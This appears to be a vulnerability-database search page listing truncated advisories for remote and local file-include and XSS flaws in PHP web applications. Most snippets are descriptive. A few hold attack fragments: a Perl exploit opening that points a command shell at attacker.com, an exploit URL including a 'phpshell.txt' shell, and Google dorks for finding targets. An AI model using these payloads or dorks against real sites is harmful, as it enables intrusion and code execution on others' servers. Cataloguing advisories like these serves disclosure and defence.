9017 matches found
Coppermine Photo Gallery 1.4.10 Multiple Remote And Local File Include Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/22409/info Coppermine Photo Gallery is prone to multiple remote and local file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input. An attacker can exploit these issues to execute arbitra...
Coppermine Photo Gallery 1.4.x mode.php referer Parameter XSS
No description provided by source. source: http://www.securityfocus.com/bid/25698/info Coppermine Photo Gallery is prone to a cross-site scripting issue and a local file-include issue. Attackers can exploit these issues to steal cookie-based authentication credentials, execute arbitrary code, and...
Dolibarr CMS 3.2.0 - Alpha - File Include Vulnerabilities
No description provided by source. Title: ====== Dolibarr CMS v3.2.0 Alpha - File Include Vulnerabilities Date: ===== 2012-02-07 References: =========== http://www.vulnerability-lab.com/getcontent.php?id=428 VL-ID: ===== 428 Introduction: ============= Dolibarr ERP & CRM is a modern software to...
Xoops 2.0.18 modules/system/admin.php fct Parameter XSS
No description provided by source. source: http://www.securityfocus.com/bid/30330/info XOOPS is prone to a local file-include vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit the local file-include...
L2J Statistik Script <= 0.09 (index.php page) Local File Include Exploit
No description provided by source. ? print ' | \ | \ \ / | | | | | | | \ \ \ / \ \ | \ \ / \ | \ | | | / \ | \ \ \ / / | | | | | | | | | | ||/ // |./ |/\ ./ |/ || | \ \ / \ \ / | | | / | | | | | | \ | \ \ | \ | | / | | | / | | | / | |/ ,||./ | |,||\ Rev.4 www.codebreak.tk -...
ImgSvr 0.6 Template Parameter Local File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/24853/info ImgSvr is prone to a local file-include vulnerability because it fails to sanitize user-supplied input. Attackers may exploit this issue to access files that may contain sensitive information. UPDATE December 2...
n-cms-equipe 1.1c.Debug Multiple Local File Include Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/39298/info n-cms-equipe is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input. An attacker can exploit these vulnerabilities to obtain potentially sensitive...
Tolva 0.1 Usermods.PHP Remote File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/16000/info Tolva is prone to a remote file-include vulnerability. An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process...
PHPMyChat Plus 1.9 - Multiple Local File Include Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/20972/info phpMyChat is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input. Exploiting these issues may allow an unauthorized user to view files and execute loca...
WMNews <= 0.2a (base_datapath) Remote Inclusion Vulnerability
No description provided by source. Advisory: WMNews Remote File Include Vulnerability Release Date: 2006/07/26 Author: uNfz Critical Level: High Contact: [email protected] Vendor: Warta Mikael -------------------- -------------------- Searching / Dork: allinurl: .php?Artid= allinurl: .php?ArtCat...
PHP News Reader <= 2.6.4 (phpbb.inc.php) Remote File Include Exploit
No description provided by source. !/usr/bin/perl PHP News Reader Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://pnews.sourceforge.net/ use IO::Socket; use LWP::Simple; $cmdshell=http://attacker.com/cmd.txt; ====== Change This Line...
WoW Roster <= 1.70 (/lib/phpbb.php) Remote File Include Vulnerability
No description provided by source. -------------------------------------------------------------------------------- Title : WoW Roster /lib/phpbb.php Remote File Include Vulnerability -------------------------------------------------------------------------------- Affected software description :...
Freenews 1.1 Aff_News.PHP Remote File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/20795/info Freenews is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromise the application and the underlyin...
Q-News 2.0 - Remote File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/15576/info Q-News is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this issue to execute arbitrary remote...
Joomla! iF Portfolio Nexus 'controller' Parameter Remote File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/37473/info The iF Portfolio Nexus 'comifnexus' component for Joomla! is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue may allow an attack...
elearning server 4g Multiple Vulnerabilities
No description provided by source. Exploit Title: eLearning Server Multiple Remote Vulnerabilities Google Dork: intitle:eLearning Server Date: 10.05.2012 Author: Eugene Salov, Andrey Komarov Group-IB, http://group-ib.ru Software Link: http://www.hypermethod.ru/ Version: 4G Tested on: Microsoft...
MDweb <= 1.3 (chemin_appli) Remote File Include Vulnerabilities
No description provided by source...
Vitrax Pre-modded <= 1.0.6-r3 Remote File Include Vulnerability
No description provided by source. credits: CeNGiZ-HaN contact: [email protected] team: www.system-defacers.org risk: High script: vitrax premodded phpbb script site: www.vitrax.org Exploit: http://target/path/includes/functionsportal.php?phpbbrootpath=phpshell.txt? GreeTz No One =...
Ipswitch WhatsUp Professional 2006 0 NmConsole/ToolResults.asp sHostname Parameter XSS
No description provided by source. source: http://www.securityfocus.com/bid/17964/info WhatsUp Professional is prone to multiple input-validation vulnerabilities. The issues include remote file-include, information-disclosure, source-code disclosure, cross-site scripting, and input-validation...